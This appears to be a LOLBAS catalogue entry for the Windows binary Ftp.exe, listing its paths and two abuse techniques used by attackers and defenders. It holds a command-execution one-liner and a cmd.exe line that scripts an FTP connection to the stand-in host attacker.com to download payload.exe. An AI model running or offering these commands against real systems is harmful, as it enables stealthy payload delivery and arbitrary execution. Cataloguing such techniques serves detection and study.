🪟 LOLBAS / Ftp.exe

Ftp.exe

A binary designed for connecting to FTP servers

Paths

  • C:\Windows\System32\ftp.exe
  • C:\Windows\SysWOW64\ftp.exe

Commands

Execute

Executes the commands you put inside the text file.

Use case: Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand

Privileges: User

echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt

Download

Download

Use case: Spawn new process using ftp.exe. Ftp.exe downloads the binary.

Privileges: User

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

Detection

Resources